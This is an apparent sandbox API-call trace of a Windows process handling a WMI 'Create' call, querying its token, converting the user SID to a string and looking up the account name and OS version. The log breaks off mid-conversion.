[0142.143] CloseHandle (hObject=0x248) returned 1 [0142.143] free (_Block=0x2af0e0) [0142.143] DestroyEnvironmentBlock () returned 0x1 [0142.143] malloc (_Size=0x48) returned 0x2ad220 [0142.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x233b6020, dwHighDateTime=0x1d8a92a)) [0142.143] SetEvent (hEvent=0x1f0) returned 1 [0142.144] CloseHandle (hObject=0x244) returned 1 [0142.144] CloseHandle (hObject=0x2d0) returned 1 [0142.197] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0142.197] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0142.197] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0142.611] SetLastError (dwErrCode=0x0) [0142.611] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0142.611] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0142.611] SetLastError (dwErrCode=0x0) [0142.611] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0142.611] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0142.611] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0142.611] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0142.612] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0142.612] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0142.614] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0142.615] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.615] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.615] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0142.616] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.616] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0142.616] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0142.618] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0142.618] GetCurrentThread () returned 0xfffffffffffffffe [0142.618] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x1ec) returned 1 [0142.618] malloc (_Size=0xd8) returned 0x2b8790 [0142.618] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0142.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0142.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0142.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0142.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0142.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0142.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0142.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0142.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0142.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0142.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0142.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0142.621] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0142.621] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0142.621] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0142.621] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0142.621] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0142.622] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0142.622] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0142.622] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0142.622] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0142.622] malloc (_Size=0x18) returned 0x2aefa0 [0142.622] DuplicateTokenEx (in: hExistingToken=0x1ec, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2ac) returned 1 [0142.622] malloc (_Size=0x48) returned 0x2ad220 [0142.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2376e280, dwHighDateTime=0x1d8a92a)) [0142.622] SetEvent (hEvent=0x1f0) returned 1 [0142.627] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0142.627] GetLastError () returned 0x7a [0142.627] malloc (_Size=0x2c) returned 0x2ae2a0 [0142.627] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0142.627] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.627] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0142.627] malloc (_Size=0x1c) returned 0x2affd0 [0142.627] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.627] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0142.627] malloc (_Size=0x18) returned 0x2aefa0 [0142.628] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0142.628] malloc (_Size=0x18) returned 0x2aef80 [0142.628] malloc (_Size=0x18) returned 0x2af0e0 [0142.628] SysStringLen (param_1="S-1-") returned 0x4 [0142.628] SysStringLen (param_1="5") returned 0x1 [0142.628] memcpy (in: _Dst=0x1617f8, _Src=0x161948, _Size=0xa | out: _Dst=0x1617f8) returned 0x1617f8 [0142.628] memcpy (in: _Dst=0x161800, _Src=0x161798, _Size=0x4 | out: _Dst=0x161800) returned 0x161800 [0142.628] free (_Block=0x2aefa0) [0142.628] free (_Block=0x2aef80) [0142.628] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0142.628] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0142.628] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0142.628] malloc (_Size=0x18) returned 0x2aef80 [0142.628] malloc (_Size=0x18) returned 0x2aefa0 [0142.628] SysStringLen (param_1="S-1-5") returned 0x5 [0142.628] SysStringLen (param_1="-") returned 0x1 [0142.628] memcpy (in: _Dst=0x161798, _Src=0x1617f8, _Size=0xc | out: _Dst=0x161798) returned 0x161798 [0142.628] memcpy (in: _Dst=0x1617a2, _Src=0x161948, _Size=0x4 | out: _Dst=0x1617a2) returned 0x1617a2 [0142.628] free (_Block=0x2af0e0) [0142.628] free (_Block=0x2aef80) [0142.629] malloc (_Size=0x18) returned 0x2aef80 [0142.629] malloc (_Size=0x18) returned 0x2af0e0 [0142.629] SysStringLen (param_1="S-1-5-") returned 0x6 [0142.629] SysStringLen (param_1="21") returned 0x2 [0142.629] memcpy (in: _Dst=0x161948, _Src=0x161798, _Size=0xe | out: _Dst=0x161948) returned 0x161948 [0142.629] memcpy (in: _Dst=0x161954, _Src=0x1617f8, _Size=0x6 | out: _Dst=0x161954) returned 0x161954 [0142.629] free (_Block=0x2aefa0) [0142.629] free (_Block=0x2aef80) [0142.629] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0142.629] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0142.629] malloc (_Size=0x18) returned 0x2aef80 [0142.629] malloc (_Size=0x18) returned 0x2aefa0 [0142.629] SysStringLen (param_1="S-1-5-21") returned 0x8 [0142.629] SysStringLen (param_1="-") returned 0x1 [0142.629] memcpy (in: _Dst=0x1617f8, _Src=0x161948, _Size=0x12 | out: _Dst=0x1617f8) returned 0x1617f8 [0142.629] memcpy (in: _Dst=0x161808, _Src=0x161798, _Size=0x4 | out: _Dst=0x161808) returned 0x161808 [0142.629] free (_Block=0x2af0e0) [0142.629] free (_Block=0x2aef80) [0142.629] malloc (_Size=0x18) returned 0x2aef80 [0142.629] malloc (_Size=0x18) returned 0x2af0e0 [0142.629] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0142.630] SysStringLen (param_1="4219442223") returned 0xa [0142.630] memcpy (in: _Dst=0x118268, _Src=0x1617f8, _Size=0x14 | out: _Dst=0x118268) returned 0x118268 [0142.630] memcpy (in: _Dst=0x11827a, _Src=0x161948, _Size=0x16 | out: _Dst=0x11827a) returned 0x11827a [0142.630] free (_Block=0x2aefa0) [0142.630] free (_Block=0x2aef80) [0142.630] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0142.630] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0142.630] malloc (_Size=0x18) returned 0x2aef80 [0142.630] malloc (_Size=0x18) returned 0x2aefa0 [0142.630] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0142.630] SysStringLen (param_1="-") returned 0x1 [0142.630] memcpy (in: _Dst=0x1176d8, _Src=0x118268, _Size=0x28 | out: _Dst=0x1176d8) returned 0x1176d8 [0142.630] memcpy (in: _Dst=0x1176fe, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x1176fe) returned 0x1176fe [0142.630] free (_Block=0x2af0e0) [0142.630] free (_Block=0x2aef80) [0142.630] malloc (_Size=0x18) returned 0x2aef80 [0142.630] malloc (_Size=0x18) returned 0x2af0e0 [0142.630] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0142.630] SysStringLen (param_1="4223814209") returned 0xa [0142.630] memcpy (in: _Dst=0x12db38, _Src=0x1176d8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0142.630] memcpy (in: _Dst=0x12db60, _Src=0x1617f8, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0142.631] free (_Block=0x2aefa0) [0142.631] free (_Block=0x2aef80) [0142.631] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0142.631] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0142.631] malloc (_Size=0x18) returned 0x2aef80 [0142.631] malloc (_Size=0x18) returned 0x2aefa0 [0142.631] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0142.631] SysStringLen (param_1="-") returned 0x1 [0142.631] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0142.631] memcpy (in: _Dst=0x12d844, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0142.631] free (_Block=0x2af0e0) [0142.631] free (_Block=0x2aef80) [0142.631] malloc (_Size=0x18) returned 0x2aef80 [0142.631] malloc (_Size=0x18) returned 0x2af0e0 [0142.631] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0142.631] SysStringLen (param_1="3835049652") returned 0xa [0142.631] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0142.631] memcpy (in: _Dst=0x12db76, _Src=0x1617f8, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0142.631] free (_Block=0x2aefa0) [0142.631] free (_Block=0x2aef80) [0142.632] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0142.632] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0142.632] malloc (_Size=0x18) returned 0x2aef80 [0142.632] malloc (_Size=0x18) returned 0x2aefa0 [0142.632] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0142.632] SysStringLen (param_1="-") returned 0x1 [0142.632] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0142.632] memcpy (in: _Dst=0x12d85a, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0142.632] free (_Block=0x2af0e0) [0142.632] free (_Block=0x2aef80) [0142.632] malloc (_Size=0x18) returned 0x2aef80 [0142.632] malloc (_Size=0x18) returned 0x2af0e0 [0142.632] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0142.632] SysStringLen (param_1="1000") returned 0x4 [0142.632] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0142.632] memcpy (in: _Dst=0x12db8c, _Src=0x1617f8, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0142.632] free (_Block=0x2aefa0) [0142.632] free (_Block=0x2aef80) [0142.632] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0142.632] malloc (_Size=0x5e) returned 0x2b08a0 [0142.633] free (_Block=0x2af0e0) [0142.633] malloc (_Size=0x18) returned 0x2af0e0 [0142.633] free (_Block=0x2b08a0) [0142.633] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0142.634] GetLastError () returned 0x7a [0142.634] malloc (_Size=0x14) returned 0x2aef80 [0142.634] malloc (_Size=0x16) returned 0x2aefa0 [0142.634] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aef80, cchName=0xe7ca84, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0142.635] malloc (_Size=0x18) returned 0x2af0c0 [0142.635] malloc (_Size=0x18) returned 0x2aefc0 [0142.635] free (_Block=0x2aef80) [0142.635] free (_Block=0x2aefa0) [0142.635] free (_Block=0x2affd0) [0142.635] free (_Block=0x2aefc0) [0142.635] free (_Block=0x2af0c0) [0142.635] free (_Block=0x2af0e0) [0142.636] free (_Block=0x2ae2a0) [0142.636] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0142.636] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0142.636] GetLastError () returned 0x7a [0142.636] malloc (_Size=0x2c) returned 0x2ae2e0 [0142.636] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0142.636] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.636] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0142.636] malloc (_Size=0x1c) returned 0x2affd0 [0142.636] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0142.636] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0142.636] malloc (_Size=0x18) returned 0x2af0e0 [0142.637] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0142.637] malloc (_Size=0x18) returned 0x2af0c0 [0142.637] malloc (_Size=0x18) returned 0x2aefc0 [0142.637] SysStringLen (param_1="S-1-") returned 0x4 [0142.637] SysStringLen (param_1="5") returned 0x1 [0142.637] memcpy (in: _Dst=0x161948, _Src=0x161798, _Size=0xa | out: _Dst=0x161948) returned 0x161948 [0142.637] memcpy (in: _Dst=0x161950, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x161950) returned 0x161950 [0142.637] free (_Block=0x2af0e0) [0142.637] free (_Block=0x2af0c0) [0142.637] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0142.637] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0142.637] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0142.637] malloc (_Size=0x18) returned 0x2af0c0 [0142.637] malloc (_Size=0x18) returned 0x2af0e0 [0142.637] SysStringLen (param_1="S-1-5") returned 0x5 [0142.637] SysStringLen (param_1="-") returned 0x1 [0142.637] memcpy (in: _Dst=0x1617f8, _Src=0x161948, _Size=0xc | out: _Dst=0x1617f8) returned 0x1617f8 [0142.637] memcpy (in: _Dst=0x161802, _Src=0x161798, _Size=0x4 | out: _Dst=0x161802) returned 0x161802 [0142.638] free (_Block=0x2aefc0) [0142.638] free (_Block=0x2af0c0) [0142.638] malloc (_Size=0x18) returned 0x2af0c0 [0142.638] malloc (_Size=0x18) returned 0x2aefc0 [0142.638] SysStringLen (param_1="S-1-5-") returned 0x6 [0142.638] SysStringLen (param_1="21") returned 0x2 [0142.638] memcpy (in: _Dst=0x161798, _Src=0x1617f8, _Size=0xe | out: _Dst=0x161798) returned 0x161798 [0142.638] memcpy (in: _Dst=0x1617a4, _Src=0x161948, _Size=0x6 | out: _Dst=0x1617a4) returned 0x1617a4 [0142.638] free (_Block=0x2af0e0) [0142.638] free (_Block=0x2af0c0) [0142.638] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0142.638] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0142.638] malloc (_Size=0x18) returned 0x2af0c0 [0142.638] malloc (_Size=0x18) returned 0x2af0e0 [0142.638] SysStringLen (param_1="S-1-5-21") returned 0x8 [0142.638] SysStringLen (param_1="-") returned 0x1 [0142.638] memcpy (in: _Dst=0x161948, _Src=0x161798, _Size=0x12 | out: _Dst=0x161948) returned 0x161948 [0142.638] memcpy (in: _Dst=0x161958, _Src=0x1617f8, _Size=0x4 | out: _Dst=0x161958) returned 0x161958 [0142.638] free (_Block=0x2aefc0) [0142.639] free (_Block=0x2af0c0) [0142.639] malloc (_Size=0x18) returned 0x2af0c0 [0142.639] malloc (_Size=0x18) returned 0x2aefc0 [0142.639] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0142.639] SysStringLen (param_1="4219442223") returned 0xa [0142.639] memcpy (in: _Dst=0x118268, _Src=0x161948, _Size=0x14 | out: _Dst=0x118268) returned 0x118268 [0142.639] memcpy (in: _Dst=0x11827a, _Src=0x161798, _Size=0x16 | out: _Dst=0x11827a) returned 0x11827a [0142.639] free (_Block=0x2af0e0) [0142.639] free (_Block=0x2af0c0) [0142.639] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0142.639] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0142.639] malloc (_Size=0x18) returned 0x2af0c0 [0142.639] malloc (_Size=0x18) returned 0x2af0e0 [0142.639] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0142.639] SysStringLen (param_1="-") returned 0x1 [0142.639] memcpy (in: _Dst=0x1176d8, _Src=0x118268, _Size=0x28 | out: _Dst=0x1176d8) returned 0x1176d8 [0142.640] memcpy (in: _Dst=0x1176fe, _Src=0x161948, _Size=0x4 | out: _Dst=0x1176fe) returned 0x1176fe [0142.640] free (_Block=0x2aefc0) [0142.640] free (_Block=0x2af0c0) [0142.640] malloc (_Size=0x18) returned 0x2af0c0 [0142.640] malloc (_Size=0x18) returned 0x2aefc0 [0142.640] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0142.640] SysStringLen (param_1="4223814209") returned 0xa [0142.640] memcpy (in: _Dst=0x12d808, _Src=0x1176d8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0142.640] memcpy (in: _Dst=0x12d830, _Src=0x161948, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0142.640] free (_Block=0x2af0e0) [0142.640] free (_Block=0x2af0c0) [0142.640] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0142.640] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0142.640] malloc (_Size=0x18) returned 0x2af0c0 [0142.640] malloc (_Size=0x18) returned 0x2af0e0 [0142.640] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 